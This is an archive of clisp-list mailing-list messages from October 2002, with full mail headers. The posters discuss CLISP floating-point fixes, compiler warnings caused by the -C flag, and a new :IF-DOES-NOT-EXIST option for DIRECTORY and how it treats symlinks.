mx3.mail.ru with drweb-scanned (Exim MX.3) id 181BLL-0002EK-00; Mon, 14 Oct 2002 23:57:35 +0400 Received: from [213.247.176.34] (helo=mail.ru) by mx3.mail.ru with esmtp (Exim SMTP.3) id 181BLK-0002DP-00; Mon, 14 Oct 2002 23:57:34 +0400 Message-ID: <3DAB2FB7.2000106@mail.ru> From: "Vadim V. Zhytnikov" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.0.0) Gecko/20020526 X-Accept-Language: ru, en MIME-Version: 1.0 To: sds@gnu.org CC: maxima@www.ma.utexas.edu, clisp-list@lists.sourceforge.net References: <3DA00366.3010104@mail.ru> <3DA094CE.3060307@mail.ru> <3DA873A2.7070002@mail.ru> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] Re: [Maxima] Re: floating point problems with clisp 2.30 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 14 12:58:05 2002 X-Original-Date: Mon, 14 Oct 2002 23:57:27 +0300 Sam Steingold ?????: >>* In message <3DA873A2.7070002@mail.ru> >>* On the subject of "Re: floating point problems with clisp 2.30" >>* Sent on Sat, 12 Oct 2002 22:10:26 +0300 >>* Honorable "Vadim V. Zhytnikov" writes: >> >>Sam Steingold ?????: >> >>>>* In message <3DA094CE.3060307@mail.ru> >>>>* On the subject of "Re: [clisp-list] floating point problems with clisp 2.30" >>>>* Sent on Sun, 06 Oct 2002 22:53:50 +0300 >>>>* Honorable "Vadim V. Zhytnikov" writes: >>>> >>>>Unfortunately this doesn't explain wrong numeric values which I get >>>>for some special functions in Maxima with clisp 2.30 since the value >>>>above is correct. >>> >>>I fixed in the CVS all bugs you have reported so far. >>>please get the CLISP CVS HEAD and check that everything is OK. >> >>Today's CLISP CVS works fine and passes all >>tests with Maxima CVS. > > > what about the case when some function was given a DOUBLE-FLOAT and > returned a SINGLE-FLOAT (or a SHORT-FLOAT)? > > could you please re-check that this problem is gone too? > > thanks! > Yes this problem is fixed as well. In any case with CLISP CVS 12.10.2002 I can't reproduce any problem I observed earlier with clisp 2.30. Everything seems to be fine. But I want to stress that I was not able to reduce these problems to some simple test outside Maxima (except wrong warning in expt) and now they all gone. -- Vadim V. Zhytnikov From coby@thesoftwaresmith.com.au Mon Oct 14 17:50:01 2002 Received: from thesoftwaresmith.com.au ([210.15.192.190] helo=digit) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 181FuI-0005Tf-00 for ; Mon, 14 Oct 2002 17:49:58 -0700 Received: from heffer.localnet ([192.168.1.27] helo=heffer) by digit with smtp (Exim 3.12 #1 (Debian)) id 181FuD-0003Ws-00 for ; Tue, 15 Oct 2002 11:49:53 +1100 Message-ID: <00cd01c273e4$d7aa5fc0$1b01a8c0@localnet> From: "Coby Beck" To: MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Subject: [clisp-list] compiler warnings Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 14 17:51:03 2002 X-Original-Date: Tue, 15 Oct 2002 11:50:22 +1100 Hello List... I am working on a system of files that compile with no warnings in Lispworks but a whole slew of "undefined function" warnings in clisp due to the order of definitions within the same files. I prefer Lispworks' behaviour about that, can I have it? Is there a flag about warnings I can set somewhere? Also, what are the other implications about the compiler giving me what I am asking for, ie will I then miss out on important warnings? As far as I can tell, the only other alternative is to rearrange all of my functions :( and change the way I like to organise my code in general :(( Advice appreciated! Thanks... Coby Beck (remove #\Space "coby 101 @ bigpond . com") PS. I tried to search the archives but had no luck, as in nothing came back at all, sorry if it is a FAQ PPS. Directions to FAQ's or search interfaces greatly appreciated, this is my first time using this list From sds@gnu.org Mon Oct 14 18:58:11 2002 Received: from pool-151-203-41-208.bos.east.verizon.net ([151.203.41.208] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 181GyJ-0001fC-00 for ; Mon, 14 Oct 2002 18:58:11 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id g9F1xqjD029825; Mon, 14 Oct 2002 21:59:52 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id g9F1xptT029821; Mon, 14 Oct 2002 21:59:51 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Coby Beck" Cc: Subject: Re: [clisp-list] compiler warnings References: <00cd01c273e4$d7aa5fc0$1b01a8c0@localnet> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <00cd01c273e4$d7aa5fc0$1b01a8c0@localnet> Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 14 18:59:03 2002 X-Original-Date: 14 Oct 2002 21:59:51 -0400 > * In message <00cd01c273e4$d7aa5fc0$1b01a8c0@localnet> > * On the subject of "[clisp-list] compiler warnings" > * Sent on Tue, 15 Oct 2002 11:50:22 +1100 > * Honorable "Coby Beck" writes: > > I am working on a system of files that compile with no warnings in > Lispworks but a whole slew of "undefined function" warnings in clisp > due to the order of definitions within the same files. what CLISP version are you using? this does not happen for me in the latest CLISP: $ clisp -q -norc -c zot.lisp Compiling file /usr/local/src/clisp/bugs/zot.lisp ... Compilation of file /usr/local/src/clisp/bugs/zot.lisp is finished. 0 errors, 0 warnings $ cat zot.lisp (defun foo (x) (bar x)) (defun bar (x) x) $ > PPS. Directions to FAQ's or search interfaces greatly appreciated, > this is my first time using this list hmmm - how did you find out about this list? Are you subscribed? (you should be - you cannot expect everyone to copy you their replies, many will reply only to the list!) All CLISP-related information (implementation notes, FAQ &c) can be found at . -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Your mouse has moved - WinNT has to be restarted for this to take effect. From coby@thesoftwaresmith.com.au Mon Oct 14 19:51:36 2002 Received: from thesoftwaresmith.com.au ([210.15.192.190] helo=digit) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 181Hnx-0000lt-00 for ; Mon, 14 Oct 2002 19:51:34 -0700 Received: from heffer.localnet ([192.168.1.27] helo=heffer) by digit with smtp (Exim 3.12 #1 (Debian)) id 181Hnp-0003p2-00; Tue, 15 Oct 2002 13:51:25 +1100 Message-ID: <019401c273f5$d21d1be0$1b01a8c0@localnet> From: "Coby Beck" To: Cc: References: <00cd01c273e4$d7aa5fc0$1b01a8c0@localnet> Subject: Re: [clisp-list] compiler warnings MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 14 19:52:06 2002 X-Original-Date: Tue, 15 Oct 2002 13:51:54 +1100 ----- Original Message ----- From: "Sam Steingold" > > * In message <00cd01c273e4$d7aa5fc0$1b01a8c0@localnet> > > * On the subject of "[clisp-list] compiler warnings" > > * Sent on Tue, 15 Oct 2002 11:50:22 +1100 > > * Honorable "Coby Beck" writes: > > > > I am working on a system of files that compile with no warnings in > > Lispworks but a whole slew of "undefined function" warnings in clisp > > due to the order of definitions within the same files. > > what CLISP version are you using? > this does not happen for me in the latest CLISP: > $ clisp -q -norc -c zot.lisp We are using 2.29 > > Compiling file /usr/local/src/clisp/bugs/zot.lisp ... > > Compilation of file /usr/local/src/clisp/bugs/zot.lisp is finished. > 0 errors, 0 warnings > $ cat zot.lisp > (defun foo (x) (bar x)) > (defun bar (x) x) > $ I tried loading the system directly from the clisp listener via a load file and all went fine. The problem still comes when the application is being built via a script and clisp is being called like this: clisp -C -i -x '(ext:saveinitmem)' && \ Are any of those flags responsible? Anyway I will track down the author of the script and see what the implications are about that call. > > PPS. Directions to FAQ's or search interfaces greatly appreciated, > > this is my first time using this list > > hmmm - how did you find out about this list? I knew it was there by c.l.l and a quick google took me to it. I used a search form on http://sourceforge.net/mailarchive/forum.php?forum=clisp-list to see if others had asked the same. > Are you subscribed? I am. How active is it? (of course I will see for myself now) Thanks for the quick response! Coby Beck (remove #\Space "coby 101 @ bigpond . com") From samuel.steingold@verizon.net Mon Oct 14 20:23:50 2002 Received: from out007pub.verizon.net ([206.46.170.107] helo=out007.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 181IJB-0001ZF-00 for ; Mon, 14 Oct 2002 20:23:49 -0700 Received: from loiso.podval.org ([151.203.41.208]) by out007.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021015032343.UKII10046.out007.verizon.net@loiso.podval.org>; Mon, 14 Oct 2002 22:23:43 -0500 To: "Coby Beck" Cc: Subject: Re: [clisp-list] compiler warnings References: <00cd01c273e4$d7aa5fc0$1b01a8c0@localnet> <019401c273f5$d21d1be0$1b01a8c0@localnet> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <019401c273f5$d21d1be0$1b01a8c0@localnet> Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 14 20:24:06 2002 X-Original-Date: 14 Oct 2002 23:25:32 -0400 > * In message <019401c273f5$d21d1be0$1b01a8c0@localnet> > * On the subject of "Re: [clisp-list] compiler warnings" > * Sent on Tue, 15 Oct 2002 13:51:54 +1100 > * Honorable "Coby Beck" writes: > > clisp -C -i -x '(ext:saveinitmem)' && \ Read The Fine Manual! -C will cause the files loaded by -i to be compiled on the fly, i.e., each form is compiled in its own compilation unit (see CLHS) - this will cause the warnings! -C is mostly for CLISP shell scripts, not for the real life. you should either use defsystem (from CLOCC) or a makefile like %.fas: %.lisp clisp -c %< %.mem: *.fas clisp -i $^ -x '(saveinitmem "$@")' see also for information on how you can use REQUIE to simplify the make rules. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Single tasking: Just Say No. From ampy@ich.dvo.ru Tue Oct 15 00:29:18 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 181M8b-0003XZ-00 for ; Tue, 15 Oct 2002 00:29:09 -0700 Received: from ppp10-AS-1.vtc.ru (ppp10-AS-1.vtc.ru [212.16.216.10]) by vtc.ru (8.12.6/8.12.6) with ESMTP id g9F7SPpj025038; Tue, 15 Oct 2002 18:28:29 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <13121566811.20021015182859@ich.dvo.ru> To: Sam Steingold CC: clisp-list@sourceforge.net In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Re: new DIRECTORY argument :IF-DOES-NOT-EXIST Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 15 00:30:01 2002 X-Original-Date: Tue, 15 Oct 2002 18:28:59 +1000 Hi, Sunday, October 13, 2002, 1:50:29 AM, you wrote: > comments are welcome >The argument :IF-DOES-NOT-EXIST controls the treatment of links >pointing to non-existent files and can take the following values: > >:DISCARD (default) >discard the bad directory entries >:ERROR >SIGNAL an ERROR on bad directory entries (this corresponds to the >default behavior of DIRECTORY in CMU CL) >:KEEP >keep bad directory entries in the returned list (this roughly >corresponds to the (DIRECTORY ... :TRUNAMEP NIL) call in CMU CL) What to do when :FULL T and :IF-DOES-NOT-EXIST :KEEP ? Don't do :FULL ? -- Best regards, Arseny From lisp-clisp-list@m.gmane.org Tue Oct 15 01:40:58 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 181NG4-0005Jq-00 for ; Tue, 15 Oct 2002 01:40:56 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 181NFE-0004cK-00 for ; Tue, 15 Oct 2002 10:40:04 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 181N7q-0004GI-00 for ; Tue, 15 Oct 2002 10:32:26 +0200 Path: not-for-mail From: "Johannes =?iso-8859-1?q?Gr=F8dem?=" Lines: 23 Message-ID: NNTP-Posting-Host: unity.copyleft.no Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Trace: main.gmane.org 1034670746 16136 212.71.72.23 (15 Oct 2002 08:32:26 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Tue, 15 Oct 2002 08:32:26 +0000 (UTC) User-Agent: Gnus/5.090007 (Oort Gnus v0.07) Emacs/21.2 (i386--freebsd) Cancel-Lock: sha1:dVnHjTE3IOsitxCDMXtP1+y8CLs= Subject: [clisp-list] directory, symlinks. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 15 01:41:04 2002 X-Original-Date: Tue, 15 Oct 2002 10:33:05 +0200 * Sam Steingold > I added :if-does-not-exists to directory in the CVS > please try it and comment in > thanks. Yes, this works, but I think that when you list a directory, you should get the name of the symbolic link, not the file it points to. Ex: [1]> (directory #p"/tmp/test/*") (#P"/tmp/test/arf" #P"/tmp/test/baz" #P"/tmp/test/baz" #P"/tmp/test/foo") I get two baz here, but one of them is really a sym-link pointing to baz. I think it should at least be selectable whether you get the link-name or the truename. (As with :truenamep in CMUCL.) (Yes, I see I can use :full to do this, but I still think it would be more natural if it returned the name of the symbolic link.) -- Johannes Grødem From liberty@ops.dti.ne.jp Tue Oct 15 04:48:04 2002 Received: from smtp13.dti.ne.jp ([202.216.228.48]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 181QB8-0007JV-00 for ; Tue, 15 Oct 2002 04:48:02 -0700 Received: from kayoko (PPPa2619.w.eacc.dti.ne.jp [210.170.176.90]) by smtp13.dti.ne.jp (3.08s) with SMTP id g9FBlwUe029941 for ; Tue, 15 Oct 2002 20:47:58 +0900 (JST) From: Katz Kawai To: clisp-list@lists.sourceforge.net Message-Id: <20021015204757.70110ee1.liberty@ops.dti.ne.jp> In-Reply-To: References: X-Mailer: Sylpheed version 0.8.5 (GTK+ 1.2.10; i586-pc-linux-gnu) X-Face: ;)-&^;6+Q?5U}|}QXRGz#WFrCg+!?u~*G!Z#\KZ1Q`X{,$@NqIBh#MNTC$CHmU0BbD3m}Rj EyG,#T9k#Z0*|e6EwL7dY%FyP6r}ko'>~l7u.H_q_r]Qvp_72NU*/#G6x%SWRRbUIgf\sjwlX8N.~ws(O Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: [clisp-list] Re: clisp-list -- confirmation of subscription -- request 690239 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 15 05:12:38 2002 X-Original-Date: Tue, 15 Oct 2002 20:47:57 +0900 confirm 690239 From sds@gnu.org Tue Oct 15 08:34:23 2002 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 181TiB-0002nQ-00 for ; Tue, 15 Oct 2002 08:34:23 -0700 Received: from loiso.podval.org ([151.203.41.208]) by pop018.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021015153405.PYSW1896.pop018.verizon.net@loiso.podval.org>; Tue, 15 Oct 2002 10:34:05 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id g9FFY5pT001062; Tue, 15 Oct 2002 11:34:05 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id g9FFY4O5001058; Tue, 15 Oct 2002 11:34:04 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: clisp-list@sourceforge.net References: <13121566811.20021015182859@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <13121566811.20021015182859@ich.dvo.ru> Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop018.verizon.net from [151.203.41.208] at Tue, 15 Oct 2002 10:34:05 -0500 Subject: [clisp-list] Re: new DIRECTORY argument :IF-DOES-NOT-EXIST Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 15 08:35:04 2002 X-Original-Date: 15 Oct 2002 11:34:04 -0400 > * In message <13121566811.20021015182859@ich.dvo.ru> > * On the subject of "Re: new DIRECTORY argument :IF-DOES-NOT-EXIST" > * Sent on Tue, 15 Oct 2002 18:28:59 +1000 > * Honorable Arseny Slobodjuck writes: > > Sunday, October 13, 2002, 1:50:29 AM, you wrote: > > > comments are welcome > > >The argument :IF-DOES-NOT-EXIST controls the treatment of links > >pointing to non-existent files and can take the following values: > > > >:DISCARD (default) > >discard the bad directory entries > >:ERROR > >SIGNAL an ERROR on bad directory entries (this corresponds to the > >default behavior of DIRECTORY in CMU CL) > >:KEEP > >keep bad directory entries in the returned list (this roughly > >corresponds to the (DIRECTORY ... :TRUNAMEP NIL) call in CMU CL) > > What to do when :FULL T and :IF-DOES-NOT-EXIST :KEEP ? > Don't do :FULL ? do :FULL for all existing files. i.e., (delete-if #'consp (directory X :if-does-not-exist :keep :full t)) will return the list of symlinks that cannot be resolved. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Binaries die but source code lives forever. From sds@gnu.org Tue Oct 15 08:36:26 2002 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 181TkA-00032G-00 for ; Tue, 15 Oct 2002 08:36:26 -0700 Received: from loiso.podval.org ([151.203.41.208]) by pop017.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021015153619.NOGM1423.pop017.verizon.net@loiso.podval.org>; Tue, 15 Oct 2002 10:36:19 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id g9FFaJpT001073; Tue, 15 Oct 2002 11:36:19 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id g9FFaIPK001069; Tue, 15 Oct 2002 11:36:18 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Johannes =?iso-8859-1?q?Gr=F8dem?=" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] directory, symlinks. References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop017.verizon.net from [151.203.41.208] at Tue, 15 Oct 2002 10:36:19 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 15 08:37:05 2002 X-Original-Date: 15 Oct 2002 11:36:18 -0400 > * In message > * On the subject of "[clisp-list] directory, symlinks." > * Sent on Tue, 15 Oct 2002 10:33:05 +0200 > * Honorable "Johannes Gr=F8dem" writes: > > * Sam Steingold >=20 > > I added :if-does-not-exists to directory in the CVS > > please try it and comment in > > thanks. >=20 > Yes, this works, but I think that when you list a directory, you > should get the name of the symbolic link, not the file it points to. I agree. Unfortunately for both of us, the x3j13 (the ANSI CL committee) thought differently and required that DIRECTORY return truenames. --=20 Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Small languages require big programs, large languages enable small programs. From lisp-clisp-list@m.gmane.org Tue Oct 15 08:50:26 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 181Txh-0002Ar-00 for ; Tue, 15 Oct 2002 08:50:25 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 181Twt-0005te-00 for ; Tue, 15 Oct 2002 17:49:35 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 181Twp-0005sm-00 for ; Tue, 15 Oct 2002 17:49:31 +0200 Path: not-for-mail From: "Johannes =?iso-8859-1?q?Gr=F8dem?=" Lines: 19 Message-ID: References: NNTP-Posting-Host: unity.copyleft.no Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Trace: main.gmane.org 1034696971 30653 212.71.72.23 (15 Oct 2002 15:49:31 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Tue, 15 Oct 2002 15:49:31 +0000 (UTC) User-Agent: Gnus/5.090007 (Oort Gnus v0.07) Emacs/21.2 (i386--freebsd) Cancel-Lock: sha1:zMm8Cvyk6BiCAbdfXqBDQKPqd2c= Subject: [clisp-list] Re: directory, symlinks. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 15 08:51:03 2002 X-Original-Date: Tue, 15 Oct 2002 17:50:11 +0200 * Sam Steingold : >> Yes, this works, but I think that when you list a directory, you >> should get the name of the symbolic link, not the file it points to. > I agree. > Unfortunately for both of us, the x3j13 (the ANSI CL committee) thought > differently and required that DIRECTORY return truenames. Ah, you're right. Too bad. By the way, doesn't it also say that directory should signal a file-error if it cannot get the truename of a file? Maybe :error should be the default parameter for if-does-not-exist? (Oh, and you don't need to CC me. I'm not subscribed to the list, but I'm reading it with GMane.) -- Johannes Grødem From sds@gnu.org Tue Oct 15 11:27:05 2002 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 181WPJ-0003dY-00 for ; Tue, 15 Oct 2002 11:27:05 -0700 Received: from loiso.podval.org ([151.203.41.208]) by pop016.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021015182656.PJHC1630.pop016.verizon.net@loiso.podval.org>; Tue, 15 Oct 2002 13:26:56 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id g9FIQwpT001331; Tue, 15 Oct 2002 14:26:58 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id g9FIQmen001327; Tue, 15 Oct 2002 14:26:48 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: directory, symlinks. References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop016.verizon.net from [151.203.41.208] at Tue, 15 Oct 2002 13:26:56 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 15 11:28:01 2002 X-Original-Date: 15 Oct 2002 14:26:47 -0400 > * In message > * On the subject of "[clisp-list] Re: directory, symlinks." > * Sent on Tue, 15 Oct 2002 17:50:11 +0200 > * Honorable "Johannes Gr=F8dem" writes: > > By the way, doesn't it also say that directory should signal a > file-error if it cannot get the truename of a file? Maybe :error > should be the default parameter for if-does-not-exist? backwards compatibility rules. I can make the default depend on COSTOM:*ANSI*, but that would just add complexity where it is not really necessary. What do others think? --=20 Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux God had a deadline, so He wrote it all in Lisp. From lists@consulting.net.nz Tue Oct 15 16:54:19 2002 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178] helo=fire) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 181bVw-0004J5-00 for ; Tue, 15 Oct 2002 16:54:17 -0700 Received: from other ([210.55.214.182] helo=localhost.localdomain) by fire with esmtp (Exim 3.35 #1 (Debian)) id 181bVy-0001wj-00 for ; Wed, 16 Oct 2002 12:54:18 +1300 Subject: Re: [clisp-list] Re: directory, symlinks. From: Adam Warner To: clisp-list@lists.sourceforge.net In-Reply-To: References: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Mailer: Ximian Evolution 1.0.8 Message-Id: <1034726039.1645.35.camel@work> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 15 16:55:02 2002 X-Original-Date: 16 Oct 2002 12:53:59 +1300 On Wed, 2002-10-16 at 07:26, Sam Steingold wrote: > > * In message > > * On the subject of "[clisp-list] Re: directory, symlinks." > > * Sent on Tue, 15 Oct 2002 17:50:11 +0200 > > * Honorable "Johannes Gr=F8dem" writes: > > > > By the way, doesn't it also say that directory should signal a > > file-error if it cannot get the truename of a file? Maybe :error > > should be the default parameter for if-does-not-exist? >=20 > backwards compatibility rules. >=20 > I can make the default depend on COSTOM:*ANSI*, 